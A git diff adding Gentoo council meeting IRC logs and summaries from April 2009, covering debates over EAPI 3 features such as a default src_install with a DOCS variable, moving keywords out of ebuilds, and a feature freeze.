+16:38 < solar> ciaranm: see the end of it. It was.
+16:38 <@Betelgeuse> solar: read pms
+16:38 < ciaranm> solar: no, it's in dev-zero's summary. it's not in the draft.
+16:38 <+tanderson> dertobi123: I skimmed over, probably missed a few people's objections
+16:39 < solar> Betelgeuse: PMS is the final spec. We are talking about a draft here at listed in the topic
+16:39 <@leio> dberkholz: I guess. It would be nice to have explanations from an ebuild developer point of view for things like that point
+16:39 <@dev-zero> list seems small enough to be discussed here, no?
+16:39 < ciaranm> solar: uh. no. we're talking about a pms draft branch.
+16:39 < solar> if you are putting things into before they are approved, then something is really wrong
+16:39 < solar> ok
+16:39 <@dertobi123> tanderson: anyways, my topics are listed
+16:39 <@Betelgeuse> solar: The topic should have been made to point to PMS draft branch
+16:40 <+tanderson> dertobi123: yeah, when we get to those you can just chip in that you also have questions
+16:41 <@dev-zero> leio: from an ebuild developer pov: DEPEND="dev-lang/python" in a python package spans up to 4 slots
+16:42 <@dev-zero> leio: DEPEND="dev-lang/python:=" will tell the pm that a package built using a specific python version needs that specific python version as long as that package is installed
+16:42 <@leio> dev-zero: I think my point is to have such an explanation available to anyone evaluating the features. Your summary page or mailing list or whatever that goes beyond council members :)
+16:42 < ciaranm> leio: *all* the changes will need user-facing documentation
+16:42 <@dev-zero> yes, but creating them before actually having stuff implemented is a lot of work
+16:43 <@leio> yeah, I don't mean all. Just things that are not well understood otherwise. Like this one.
+16:43 <@dberkholz> leio: anythong you want to bring up now on default src_install?
+16:43 <@leio> Ah! I think I found the right place in PMS. the hyperlinks on the bottom to up are going to weird places
+16:44 <@dev-zero> leio: and the result? :)
+16:44 <@leio> as for default src_install, I understand it covers what docs should be installed by default
+16:44 -!- kickar [n=didkoddd@unaffiliated/kickar] has joined #gentoo-council
+16:44 < ciaranm> the default src_install has "TODO: what goes here?"
+16:45 <@leio> I think that this should be done by the maintainer always
+16:45 <@dev-zero> leio: so, no default src_install?
+16:45 <@dberkholz> yeah, there are many cases when the default GNU files are totally useless
+16:45 < ciaranm> because some people think ebuilds shouldn't use DOCS="blah", despite writing lots of code themselves that does exactly that...
+16:45 <@leio> this is in regards to the docs part of it
+16:45 <@dev-zero> dberkholz: but for those a src_install is already written
+16:45 <@leio> dodoc seems to already ignore files listed that are empty
+16:46 <@leio> but in some cases NEWS says
+16:46 <@leio> "See ChangeLog" and nothing else, crap like that doesn't need to get installed
+16:46 <@leio> DOCS sounds good. Many eclasses do it.
+16:46 <@dev-zero> dberkholz: and don't understand the argumentationn, sorry
+16:46 < ciaranm> leio: in some cases, you override it. it's only a default.
+16:47  * dertobi123 likes to see a useful default DOCS
+16:47 <@leio> but I want the default src_install to handle the actual installation
+16:47 <@leio> not decide for me what docs get installed
+16:47 < ciaranm> then if the default's not good enough, don't use it
+16:47 < ciaranm> the idea of defaults is to cover a lot of cases, not all cases
+16:47 <@dertobi123> have a sane default, if you want to decide what docs get installed set DOCS
+16:48 <@dev-zero> yes, you can still override it if you see that the docs installed by default are crap
+16:48 <@leio> yeah, just please with a way that doesn't mean I can't call default in src_install for stuff like getting make install run by the default
+16:49 <@leio> DOCS=""
+16:49 <@leio> src_install() {
+16:49 < ciaranm> leio: that'd need DOCS then, which some people object to
+16:49 <@leio>   some_extra_stuff
+16:49 <@leio>   default
+16:49 <@leio> }
+16:49 <@leio> sounds good
+16:49 <@leio> right, so there's more discussion to do on list :(
+16:49 < ciaranm> unfortunately the objection to DOCS is purely ideological
+16:49 <@dev-zero> no, I don't think so
+16:49 -!- spitf1r3 is now known as spitfire_
+16:49 < ciaranm> which means voting on it and seeing which ideology is in the majority...
+16:50 <@dev-zero> dberkholz: I remember you being the one objection DOCS, right?
+16:50 <@dberkholz> yes
+16:51 <@dberkholz> if you want docs defaults, i'd prefer a function argument instead
+16:51 <@dev-zero> example?
+16:52 <@dberkholz> i haven't thought about the interface
+16:52 <@dberkholz> but you're all familiar with the concept of arguments to functions
+16:52 <+tanderson> why not just vote on it?
+16:53 <@dev-zero> yes, who objects a default src_install which calls "emake DESTDIR=${D} install ... ; dodoc ${DOCS}" ?
+16:53 <@dev-zero> and from those who don't: who objects DOCS having a sane default like README NEWS etc. if not specified otherwise?
+16:53 < solar> will it die if they don't exist?
+16:54 <@dberkholz> i object to the whole philosophy of moving important parts of all ebuild functions (not global metadata) into variables
+16:54 <@Betelgeuse> I want the contrary
+16:54 <@Betelgeuse> In Java ebuilds having as much in variables has showed to be much better
+16:54 <@dberkholz> i don't think it's useful enough with the changes in new EAPIs
+16:54 < solar> and will the ebuild be forced to set DOCS="" ?
+16:54 <@dberkholz> although when i wrote eclasses years ago, it was nice
+16:54 < ulm> solar: some eclasses die if files from DOCS don't exist. so a general default may be problematic
+16:55 < ciaranm> solar: the DOCS-based proposals i've seen only die if you explicitly set docs and stuff doesn't exist
+16:55 < solar> seems sane
+16:55 < ciaranm> solar: they silently ignore any defaults that don't exist
+16:55 <@dev-zero> that seems useful
+16:55 <@dev-zero> vote?
+16:55 <@dberkholz> making people know all these variables associated with ebuild functions adds a whole new dimension to what they have to learn
+16:56 <+tanderson> so people learn a bit more...big deal.
+16:56 <+tanderson> Learning ebuilds isn't terribly difficult
+16:56 < solar> tanderson: it will become harder over time as each eapi will have it's own rules.
+16:56 < hwoarang> imho it's better to learn a couple of new ebuild than writting functions
+16:56 <@dev-zero> nothing more than they have to learn when writing an ebuild using one of 13 or 14 eclasses which already recognise DOCS
+16:56 <@dertobi123> and DOCS shouldn't be that hard to "learn" *cough*
+16:56 < hwoarang> *s/ebuilds/variables
+16:57 <@lu_zero> since is already in use
+16:57 < ciaranm> solar: you only have to learn the EAPIs for things you're writing. which should just mean new EAPIs. older stuff you just look up.
+16:57 <@lu_zero> have it standardized would be good
+16:57 <@dev-zero> solar: there's usually only one eapi to learn, the most recent one
+16:57 < solar> no
+16:58 <@dberkholz> editing an ebuild that's e.g. part of kde or X or whatever is a whole different story from having *all* ebuilds doing something
+16:58 <@dev-zero> dberkholz: not all, only those being EAPI=3 and from those only the ones with no src_install
+16:58 < ciaranm> this isn't going to get decided by anything except a vote
+16:58 <@dberkholz> you can learn levels of complexity in steps instead of needing it all at once for a basic ebuild
+16:58 <@lu_zero> I'd just think if it would make us spare time or not
+16:58 < ciaranm> both sides already know the arguments each way
+16:58 <+tanderson> hint: if a substantial amount of eclasses do something, there might be a point to it
+16:59 <@dev-zero> tanderson: my point
+16:59 <@dev-zero> and I would like to see a vote
+16:59 <@Betelgeuse> DOCS++
+16:59 <@dev-zero> DOCS++
+17:00 <@dberkholz> ----------------------
+17:00 <@dertobi123> DOCS++
+17:00 <@dberkholz> sorry, bad wifi.
+17:00 <@lu_zero> too many - ^^
+17:00 <+tanderson> unfortunately, we could have a tie vote...
+17:00 <+tanderson> lu_zero: is that a DOCS-- for you?
+17:00 <@leio> sorry, I got pre-occupied
+17:00 <+tanderson> ok
+17:01 <@lu_zero> tanderson I'm not so fond of having too many automagic vars
+17:01 <@lu_zero> so I can agree on the idea of dberkholz
+17:02 <@lu_zero> in itself shouldn't change much since common docs aren't that common (sadly)
+17:02 <@Betelgeuse> lu_zero: woot?
+17:02 <@Betelgeuse> lu_zero: I see it in almost every ebuild I write
+17:03 <@lu_zero> Betelgeuse and you touch which kind of ebuilds?
+17:03 <@dev-zero> lu_zero: and you can still set it manually
+17:03 <@Betelgeuse> lu_zero: Java and autotools
+17:03 <@dberkholz> we need to wrap it up
+17:03 < ciaranm> need to finish the vote!
+17:03 <+tanderson> is that a positive vote for DOCS? 3 ++, 2 --
+17:03 <@dberkholz> looks like we're waiting on another vote from leio, and we'll catch cardoe later
+17:04 <@dberkholz> if necessary
+17:04 <@dberkholz> then we'll close up
+17:04 <@leio> sorry, was on phone with landlord, gimme a minute please
+17:05 <@lu_zero> Betelgeuse do they have a common intersection that is bigger than 2?
+17:05 <@Betelgeuse> betelgeuse@pena /usr/portage $ find -name "*.ebuild" | xargs grep -l dodoc | wc -l
+17:05 <@Betelgeuse> 12457
+17:05 <@Betelgeuse> betelgeuse@pena /usr/portage $ find -name "*.ebuild" | xargs grep -vl dodoc | wc -l
+17:05 <@Betelgeuse> 26204
+17:05 <@Betelgeuse> and then there's the DOCS using stuff etc
+17:05 <@dberkholz> leio: from 20:53 on will catch you up on this, if you aren't yet
+17:06 <@leio> yeah, got markerline, reading
+17:06 <@lu_zero> Betelgeuse so you are positive that would make us spare time
+17:06 < solar> it sounds like you don't have to vote right now as cardoe is not here anyway
+17:06 <@Betelgeuse> solar: if leio votes yes we have a majority any way
+17:06 < ciaranm> doesn't really matter if leio votes in favour
+17:06 <@dberkholz> you could do a grep for exactly how dodoc is called
+17:06 <@dberkholz> indeed
+17:07 <@leio> DOCS++
+17:07 <@Betelgeuse> lu_zero: We used to have lots of stuff in functions in Java ebuidls. I migrated to using variables and it has been a lot better.
+17:07 <@Betelgeuse> lu_zero: At least for me personally
+17:07 <+tanderson> fine, DOCS is in
+17:07 <@dberkholz> k, that's it for tonight
+17:07 < solar> guys done?
+17:07 <@dev-zero> yes
+17:07 <@Betelgeuse> I will note that zac told me that GLEP 55 support is in Portage.
+17:07 <@Betelgeuse> So I can finally do the numbers.
+17:07 <@lu_zero> its 10.12 for me
+17:08 <@dberkholz> meeting's over, tanderson please be sure to post the nice list of features with people blocking them
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090409-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20090409-summary.txt
new file mode 100644
index 00000000..02fe83af
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090409-summary.txt
@@ -0,0 +1,33 @@
+Roll Call:
+===========
+Betelgeuse: here
+Cardoe: here
+dberkholz: here
+dertobi123: here
+dev-zero: here
+leio: here
+lu_zero: here 
+tanderson(secretary): absent
+
+Topics:
+===========
+    - Migration of KEYWORDS out of ebuilds
+        There was initial discussion on this idea. The council requested that
+        Ned Ludd(solar) post a draft proposal of his idea to one of the lists
+        for discussion, since the idea interested the council and they wish to
+        get an idea of its pros and cons.
+
+    - EAPI 3 features block
+        To make sure that there is enough discussion on all EAPI 3 features a
+        block on new features for consideration into EAPI 3 was considered. A 
+        vote was taken to
+            A) block features to those already discussed
+            B) 'A' with mtime preservation
+            C) no block for features
+        Choice 'A' won with 4 votes.
+        This block doesn't affect discussion of the implementation of the
+        features, only new features.
+
+    - EAPI 3 updates
+        Zac Medico(zmedico) commented that while he hadn't worked on
+        [use(+/-)] yet it shouldn't take more than a week or two to complete.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090409.txt b/xml/htdocs/proj/en/council/meeting-logs/20090409.txt
new file mode 100644
index 00000000..0d9a7d80
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090409.txt
@@ -0,0 +1,276 @@
+20:00  * dertobi123 yawns
+20:00 <@dberkholz> yep, bout that time.
+20:00 <@dberkholz> council & secretary, please speak up
+20:01 <@lu_zero> '/
+20:01 < mama> tanderson said he's not gonna be here.
+20:01 <@leio_> the secretary told to be away
+20:01 <@leio_> apr   09 17:24:24 <tanderson>	I will not be making it to today's meeting :(. My mom needs to pick up my brother for good friday break and the pickup time is 2000 :(
+20:01 <@leio_> apr   09 17:24:57 <tanderson>	I'll still have my irc client on to make up a summary though, so no worries there
+20:01 <@lu_zero> pity
+20:01 <@dberkholz> alrighty
+20:01 <@dev-zero> I'm here
+20:02 -!- filko [i=filko@unaffiliated/filko] has joined #gentoo-council
+20:02 <@dberkholz> Betelgeuse, Cardoe: ping
+20:03 <@dberkholz> ok, let's start
+20:04 <@dberkholz> i put this idea of solar's at the top of the agenda because i think we can manage to avoid going into long extended arguments about it
+20:04 <@dberkholz> the basic idea is to move keywording to a package.keywords file or something along those lines
+20:05 <@dberkholz> reduce rsync overhead, constant redigesting of whole packages for a change to keywording, etc
+20:05 <@dberkholz> downsides is that you can get conflicts
+20:05 <@dberkholz> anyone got thoughts about this?
+20:05 <@dev-zero> conflicts?
+20:05 <@dberkholz> if keywords for all packages are in the same file, it will change very frequently
+20:06 <@dertobi123> i don't get what to discuss on this topic for now, there isn't even some kind of proposal
+20:06 < solar> back.
+20:06 <@dertobi123> if solar needs an "ok" to draft some proposal ... here's my "ok"
+20:06 <@leio_> I think it should be actually written down by someone. Abstract, problems that it solves, plan of implementation
+20:06 <@dberkholz> so you might get people changing an outdated file and committing it. overwriting someone else's changes or producing a cvs conflict
+20:07 < solar> dertobi123: there is no proposal. You guys are the council. I'm asking you to also put some thought into it
+20:07 <@dev-zero> well, I dislike the idea for various reasons
+20:07 <@leio_> make it nice, don't just try to do it with current mechanisms available if better methods could be implemented, etc
+20:07 <@dberkholz> i tend to think we should keep package-level metadata as close to the package as possible, even if it's not in the ebuild itself
+20:07 <@leio_> Get each arch their own file perhaps, etc
+20:07 < solar> being that we have not even discussed it. I'm not sure how you can dislike it.
+20:08 <@dberkholz> i'd rather get rid of the centralized files than create more of them
+20:08 <@leio_> and after there is such a plan, it might have a chance of being better than the status quo
+20:08 <@dev-zero> solar: moving the keywords into one file <-- that's what I don't like
+20:08 < solar> but to explain. Yes we want to reduce the overall resources needed in keywording. keywords can be broken out on a per cat basis also.
+20:08 < solar> it's not a single file.
+20:08  * solar digs up his example script to show ya
+20:09 <@dev-zero> still, I don't see a benefit
+20:09 < solar> really?
+20:09 <@dev-zero> really
+20:09 <@lu_zero> dev-zero it is nicer for minor arches or experimental branches
+20:09 < solar> it's nicer from an overall pov.
+20:09 <@dev-zero> solar: then show me
+20:10 <@lu_zero> solar if you have many devs it doesn't change much
+20:10 <@leio_> I don't need to cvs diff my packages when vapier keywords stuff without updating ChangeLog yet again ;p
+20:10 < solar> right now every single dev both risks breaking the tree. Wastes tons of resources cvs up/diff/push of the entire ebuild dir.
+20:10 <@dev-zero> lu_zero: that doesn't apply to most of our ebuilds in the tree
+20:10 <@lu_zero> if you have too many devs the bare implementation would hit cvs limits
+20:10 <@lu_zero> so right now I think the idea isn't that bad
+20:10 < solar> look at it from a space savings also. There are just so many reason it makes sense
+20:11 <@dberkholz> heh
+20:11 <@dev-zero> and space saving isn't one of them
+20:11  * ciaranm is curious as to how it would save space
+20:11 <@dertobi123> space savings? maybe if we make it a single file
+20:11 <@dertobi123> but having ~12.000 keyword files for each package wouldn't save space
+20:11 <@leio_> there are no space savings to speak of
+20:12 < solar> yes there is
+20:12 <@leio_> there is quite some rsync wins probably however
+20:12 < solar> not much but you save atleast 9 bytes per ebuild
+20:12 <@dev-zero> doesn't matter
+20:12 < solar> then you take into consideration that you can begin marking ranges
+20:12 < solar> dev-zero: what do you mean?
+20:12 <@leio_> I don't see how it saves anything
+20:12 < solar> there are many rsync wins.
+20:12 <@dev-zero> space: you saved 90MB, so what?
+20:13 <@lu_zero> solar it would be something like generalizing .keywords file?
+20:13 <@leio_> removing 20 bytes from each ebuild will make maybe 1% of them take one page less disk space
+20:13 < solar> sec let me find my script. I really don't think you guys are getting it at all
+20:13 <@Betelgeuse> hmm
+20:13 <@Betelgeuse> Sorry
+20:13 <@lu_zero> hi Betelgeuse
+20:13 <@Cardoe> I'm here now
+20:14 <@Betelgeuse> For the keywording it would be nice to be able to group keywords together for stuff.
+20:14 <@dberkholz> alright, 2-3 more minutes and we need to wrap this bit up
+20:14 <@Betelgeuse> There are plenty of things that go stable in sets.
+20:14 <@dberkholz> just want to make sure the idea is clear to everyone
+20:14 <@Betelgeuse> Like KDE, ant etc
+20:15 < darkside_> the concept works, fwiw. we do it in prefix. asume all arches, mask when it breaks.
+20:15 <@dev-zero> Betelgeuse: thanks, that was the first useful use case
+20:15 <@Cardoe> We're arguing abstracts.
+20:15 <@lu_zero> for common usage is the change user transparent?
+20:15 <@Cardoe> solar: what exact setup did you have in mind?
+20:16 <@dertobi123> Betelgeuse: which would require to have per category keyword files or a single global keyword file
+20:16 <@Cardoe> solar: i.e. what would be the file and the syntax?
+20:16 <@leio_> I'd hope solar can find some time to at least draft up a post to mailing list about it. Most people haven't read the beginning of the discussion covering the problems it solves, etc. And many discussions that happened on IRC on top of that kind of assumed prior knowledge and didn't specify many things over again iirc
+20:16 <@lu_zero> developer wise will it be harder or simpler to do the common tasks?
+20:16 < bonsaikitten> should end up simpler
+20:16 < solar> I can't seem to find my example code at the moment.
+20:16 <@dberkholz> ok
+20:16 <@dberkholz> the idea is out there. we need to get it clarified and written down somewhere
+20:17 <@dberkholz> is anyone willing to do that?
+20:17 < solar> but it's quite simle. Assuming we all understand package.keywords/x11-wm/keywords
+20:18 < ciaranm> i don't understand how you're going to keep it in sync or how you're going to avoid having to have a line for every single package... can't even keep package.mask clean currently.
+20:18 <@leio_> I doubt package.keywords is unfamiliar to anyone here. It needs writing down what problems it solves, what benefits it has, and so on to properly be able to evaluate it and discuss about it
+20:18 < solar> ugg
+20:18 <@dertobi123> dberkholz: i'd expect solar to do so
+20:18 <@dev-zero> solar: I think you can't avoid writing at least a draft
+20:18 <@dberkholz> ciaranm: he's proposing a directory containing keywords files, kinda like /etc/portage/package.keywords/ or something
+20:18 <@lu_zero> (or provide an implementation for us to play ^^)
+20:18 < ciaranm> dberkholz: it's the "or something" bit
+20:18 <@Betelgeuse> I could just go with being able to refer to an external file in KEYWORDS
+20:19 <@dberkholz> actually the directory approach makes a bit more sense than the huge single file, although i'm still unsure about the overall approach.
+20:19 < solar> You don't generally have 15 people editing at the same time.
+20:19 <@dberkholz> but to return to my original question, who will pick this up and run with it?
+20:19 < ciaranm> so you'd have zillions of =foo/bar-1.23 =foo/bar-1.23-r1 =foo/bar-1.23-r2 lines, and would have to ensure that they were all kept in sync with what's in the tree?
+20:20 <@dev-zero> dberkholz: I also expect solar doing it
+20:20 < solar> dev-zero: what do you expect?
+20:20 <@dev-zero> solar: that you finally write at least a draft of it instead of just dumping your ideas here and expect us doing the work
+20:20 < solar> I hope you all realize this functionality exists today
+20:21 < solar> and the only thing that prevents us from using it is nothing
+20:21 <@dberkholz> alright.
+20:22 < solar> dev-zero: I never said i expected you to work. I asked the council to start thinking about it
+20:22 <@Betelgeuse> The functionalilty to do lots of stupid things to the tree is available but I wouldn't want to see people doing them either.
+20:22 < solar> if I have to spell out everything and hand it to you on a golden platter. Then umm.
+20:22 <@dberkholz> to sum up, we've got a basic idea of the proposal, and we'd really like to have a stronger understanding of exactly what your idea is and its pros & cons
+20:22 <@Betelgeuse> ^Doesn't necessarily mean this is stupid.
+20:22 < solar> dberkholz: sure.
+20:23 <@dberkholz> or just post the idea to the mailing list and ask other people to come up with the pros/cons bit
+20:23 <@dberkholz> we need to move on to the next topic now
+20:23 <@dberkholz> i would like to propose that we block any new features being added to the EAPI=3 set and postpone them to 4 (which can come at any point, it doesn't need to take forever)
+20:24 <@lu_zero> ok
+20:24 <@dberkholz> the goal being that we get something done now instead of continually adding features forever
+20:24 <@dev-zero> I would like to set the deadline to Thursday, 16th
+20:24 <@dev-zero> that's true, but a deadline needs to be announced beforehand which didn't happen so far
+20:24 <@Betelgeuse> I would just set a deadline for Portage having implemented what's in EAPI 3.
+20:24 <@dberkholz> because that's basically what's been happening over the past month or longer already, and this is supposedly "lightning"
+20:25 <@dev-zero> that as well, yes
+20:25 < ciaranm> so far as i'm aware, the things holding up EAPI 3 are the 'key' features, not the little bits
+20:26 <@dberkholz> dev-zero: why does a deadline need to be announced? we can immediately start work on 4.
+20:26 <@Betelgeuse> The idea behind deadline is to get people to work
+20:26 <@dberkholz> just pick what's ready and do that as 3, things that are ongoing can be 4, things that are ongoing then can be 5, etc.
+20:27 <@Betelgeuse> I do stuff best if I have a deadline to meet. Grated people might just not crre.
+20:27 <@Cardoe> dberkholz: Why don't we just set rolling releases for EAPIs
+20:27 <@Cardoe> whatever is ready every X days is a new EAPI
+20:27 <@lu_zero> works for me
+20:27 < darkside_> agile EAPI
+20:27 <@dberkholz> i kinda like that, actually.
+20:27 <@dev-zero> there is nothing agile in that
+20:27 <@Betelgeuse> Cardoe: if there's something substancial there then sure
+20:28 <@dev-zero> yeah, but bumping the eapi just for minor foo things is just nonsense
+20:28 <@dev-zero> why not do it like the kernel development cycle
+20:28 < ciaranm> the problem with that is that difficult things will just get postponed indefinitely
+20:28 <@lu_zero> why?
+20:29 <@lu_zero> you start working on it with a target
+20:29 <@lu_zero> that isn't the next release window
+20:29 < ciaranm> because as soon as a feature starts hitting the "needs detailed discussion" target, it just gets postponed over and over and no-one ever makes a decision
+20:29 <@lu_zero> once it's done you can get it released
+20:29 <@dberkholz> dev-zero: why? if the feature's there, somebody is clearly expecting to benefit from it. making them wait another X months because there's no "important enough features" sucks
+20:29 <@dev-zero> dberkholz: oh, that's not what I meant
+20:30 <@dev-zero> dberkholz: what I meant was: having defined "open for ideas/requests", "implementation", "deployment" phases
+20:30 < ciaranm> "once it's done" is only good for things that will get done without a degree of coordinated work. it'll be fine for most things, but it's not a complete solution.
+20:30 <@Betelgeuse> ciaranm: With new EAPIs I don't think making decisions has been the problem.
+20:30 < mpagano_>  /win 20
+20:30 <@Betelgeuse> The problem is getting Portage to implement things.
+20:30 <@Cardoe> Do we have any targets to get anything done today?
+20:30 < ciaranm> Betelgeuse: with EAPIs 1, 2 and 3 all being "what's available" stuff, we've not been able to put in "what's necessary" yet
+20:30 <@Cardoe> Cause I've unfortunately seen only 30 minutes of unproductive arguing
+20:31 <@dev-zero> Cardoe: and you keep adding to that
+20:31  * solar never got a chance to speek. So the first 10 was wasted.
+20:31 <@dev-zero> dberkholz: let's vote on whether or not we have feature freeze for eapi-3 now
+20:31 <@dberkholz> sounds good.
+20:31 <@lu_zero> ok
+20:31 <@dev-zero> dberkholz: and discuss a standard way for developing future eapis on the ml
+20:31 <@leio_> what defines what features are frozen there?
+20:32 <@dev-zero> since we can't fully control what features get implemented in time in portage
+20:32 <@dberkholz> leio_: i suggested what was already discussed at the last meeting is the maximal set, and things can be cut from there
+20:32 < ciaranm> leio_: just say "no to anything that's not already in the draft, and maybe to anything that is"?
+20:32 <@dev-zero> the feature freeze is more a: that's what we like to have, things can be dropped if not implementable in time
+20:32 <@lu_zero> btw freezing the spec or the implementation?
+20:32 <@dberkholz> spec
+20:32 < ciaranm> lu_zero: the spec isn't ready to be frozen
+20:32 <@dev-zero> there is no implementation
+20:33 <@dberkholz> well, the features in the spec, anyway.
+20:33 < ciaranm> lu_zero: the list of... what dberkholz said
+20:33 <@lu_zero> ok
+20:33 < ciaranm> some of those features still have things like "TODO: we need to work out exactly what this does"
+20:33 <@dberkholz> so, let's vote on blocking new feature addition to EAPI 3 and postponing them to 4.
+20:33 <@dev-zero> dberkholz: what about the other meeting topics, do they fall into the category of eapi-4 or later?
+20:34 <@dberkholz> dev-zero: from agenda, "This [the block] specifically applies to anything not already discussed as of last meeting, including the 2 below items."
+20:34 <@leio_> I'm cool with mtime preservation when it's just setting in writing what portage already does
+20:34 <@leio_> (and having that guarantee for the future since EAPI-3), but if there's controversy, postponing might be good.
+20:34 <@dberkholz> not really a big deal if you want to change that, though.
+20:35 < ciaranm> mtime preservation as "what portage already does" has issues. it's not something that should be going in without discussion.
+20:35 <@leio_> lets say then - if the discussion ends up with concluding something that portage already implements, we can add it to EAPI-3 if it's not already finalized and shipped
+20:35 <@dev-zero> leio_: no
+20:35 <@dberkholz> ok, 3 choices. A -- block as of already-discussed features. B -- include mtime preservation. C -- no block yet.
+20:35 <@dberkholz> take your pick
+20:36 <@Betelgeuse> C
+20:36 <@dberkholz> A
+20:36 <@dev-zero> C
+20:36 <@leio_> hum
+20:36 <@Cardoe> What do we gain exactly from A and B?
+20:36 <@dberkholz> getting an implementation sometime this year, one hopes.
+20:37 <@dertobi123> and when's the block/deadline for C?
+20:37 <@Cardoe> Arbitrarily picking a list won't guarantee anyone will code it in Portage?
+20:37 <@Betelgeuse> indeed
+20:38 <@lu_zero> keeping the list small raises the chances
+20:38 <@leio_> B, but that doesn't mean already in the list things can't get dropped out if they don't get implemented on time (what time?) or there are open questions without concensus
+20:38 <@dberkholz> if people want the 'no block yet', we'll have to figure out where to go from there, when to have a deadline, etc.
+20:38 <@dev-zero> s/C/A
+20:38 <@Cardoe> ciaranm has a point that several of the items on there vague.
+20:38 <@lu_zero> A
+20:38 < ciaranm> once we know which features are candidates, fixing the vagueness isn't too tricky
+20:38 <@dberkholz> 3 A's, 1 C, 1 B.
+20:38 <@dertobi123> so well, A then to at least have a chance of making it a "quick" eapi-3
+20:38 <@Cardoe> ok fair enough
+20:38 <@Cardoe> then A
+20:39  * ciaranm was planning to do a mass pms fixup over the weekend anyway so fauli's cheatsheet stuff can go in
+20:39 <@dertobi123> ciaranm: nice
+20:39 <@Cardoe> ciaranm: you'll generate the cheat sheet as a page at the end?
+20:39 < ulm> i'd really urge to council to act on the mtime issue
+20:39 < ciaranm> Cardoe: see the pms mailing list. not quite.
+20:39 < ulm> should be very easy to implement
+20:39 < ciaranm> Cardoe: we have plans for a document reformatting and a two pdf thing. probably too off-topic for here.
+20:39 < darkside_> and the prefix variables. 3 lines in ebuild.sh and it is done. (already done actually)
+20:40 <@dev-zero> ulm: as far as I've seen it has some pitfalls
+20:40 < ulm> dev-zero: everything is better than leaving it unspecified
+20:41 <@dberkholz> ok, four A's it is. feature block as of already-discussed features.
+20:41 < solar> w15
+20:42 <@dberkholz> those of you with a pet feature, feel free to respond to the summary on -dev if you have some compelling reason why it's super easy to get in and can't be pushed back. keep in mind there's no reason we need to take forever for EAPI 4, either
+20:42  * ciaranm cries at dberkholz's last remark
+20:43 <@dev-zero> dberkholz: we did a feature freeze
+20:43 <@dev-zero> dberkholz: nothing comes in anymore
+20:43 <@lu_zero> we could take the 4 to experiment with release methods
+20:43 < grobian> dberkholz: does that mean you won't discuss the topics of your agenda anymore?
+20:43 <@dev-zero> we can discuss it as part of eapi-4
+20:44 <@dev-zero> or defer the discussion and discuss eapi-independent topics
+20:44 < ulm> this so sucks :(
+20:44 <@dberkholz> ciaranm: people are going to do it anyway. =) if we attempt to "forbid" them somehow, it just erodes our authority.
+20:44 < ciaranm> dberkholz: should've just insisted upon it being in 4!
+20:45 < ciaranm> also, if anyone wants me to rewrite pms history to get their feature in in such a way that it looks like it was before the deadline, send me a hundred quid in nonsequential used ten pound notes
+20:45  * ciaranm giggles
+20:45 <@dberkholz> we should start discussing the features regardless, because the whole point is that EAPIs shouldn't take forever
+20:46 <@dberkholz> i'm fine if we approve 4 a month after 3.
+20:46 < ciaranm> sure. but for 4, rather than "4 unless you can come up with a convincing argument for it being in 3"
+20:46 < ciaranm> because everyone thinks their arguments are convincing
+20:46 <@dev-zero> dberkholz: after having 3 implemented, please
+20:46 <@Betelgeuse> Instead of discussion let's all just implement things.
+20:46 <@dertobi123> zmedico: can we set a deadline on when eapi3 stuff is implemented in portage? i.e. when we can compile a final list of eapi-3 features?
+20:48 <@dev-zero> what about 42 days from now?
+20:49 < zmedico> dertobi123: sure, I guess so.
+20:49 < ciaranm> zmedico: did you have [use(+)] done? that was the critical feature for 3
+20:50 <@dertobi123> zmedico: so what about an estimate? ;)
+20:50 < zmedico> ciaranm: I haven't done anything yet but none of it seems particularly difficult
+20:51 <@dberkholz> grobian: looks like we're about to run out of time today, but i'm happy to discuss those prefix features in general at any point ... i've already put it on the next agenda -- http://dev.gentoo.org/~dberkholz/20090423-agenda.txt
+20:51 < grobian> dberkholz: great
+20:52 < zmedico> dertobi123: if I've got a firm list of things that are definitely going in then I can probably have it done in a week or two
+20:52 <@dberkholz> let's go with next meeting, then
+20:52 <@dberkholz> april 23
+20:52 <@dertobi123> sounds good
+20:52 <@Betelgeuse> Just to note if someone needs something from me I will be in Spain next week.
+20:52 <@dev-zero> ok
+20:52 <@dertobi123> bleh, everyone's out for holidays :(
+20:53 < ciaranm> i can have pms ready (with features being easily removable) by monday, assuming i've got at least some kind of mobile phone coverage over the weekend...
+20:53 <@leio_> So anyone from Spain can find you and get what they want?
+20:53 <@Betelgeuse> leio_: If someone wants to come to visit my hotel for a review, sure
+20:54 <@leio_> I should send armin76 to you or something. Any updates on that benchmarking stuff, or what's the next topic again?
+20:54 <@dberkholz> so, we've got about 5 minutes.
+20:55 <@dberkholz> i've already started the agenda for next meeting to try helping everyone get better prepared
+20:55 <@dev-zero> dberkholz: I assume you're putting the other topics we didn't discuss today on that list as well?
+20:55 <@dberkholz> yeah, i put them there. prefix, mtime, and the changing ebuild features thing.
+20:56 <@dberkholz> we'll have to sort things out a bit as the time approaches
+20:56 <@dberkholz> hopefully some of that can become clearer on the lists over the next 2 weeks
+20:56 <@Betelgeuse> leio_: Yeah slacker.
+20:56 <@Betelgeuse> Forgot mainly.
+20:56 <@dev-zero> yeah, and let's try to start discussing things 10 days before the next meeting instead of 1 day before
+20:57 <@dberkholz> sorry about that for my lack of participation, i've been really busy w/ work. that'll be done a week from now.
+20:57 <@Betelgeuse> dberkholz: well you still do more than I have lately
+20:58 <@dev-zero> I have to admit that I wasn't so active last week but the OpenExpo took some time as well...
+20:58 <@dertobi123> dev-zero: heh
+20:58 <@dev-zero> dertobi123: didn't even have time to upload the picture of you and maekke ;-)
+20:58 <@dberkholz> ok, today's meeting is over. as usual, i strongly encourage everyone to take topics to the lists that we didn't get to today, so we can get some action without waiting 2 weeks.
+20:58 <@dertobi123> dev-zero: oh! ;)
+20:59 <@dberkholz> and council members in particular, please do what you can to actively participate on those topics in particular
+21:00 <@dev-zero> or do help zmedico with the implementation of eapi-3 features :)
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090423-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20090423-summary.txt
new file mode 100644
index 00000000..317723ce
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090423-summary.txt
@@ -0,0 +1,82 @@
+Roll Call:
+===========
+Betelgeuse: here
+Cardoe: absent
+dberkholz: here
+dertobi123: here
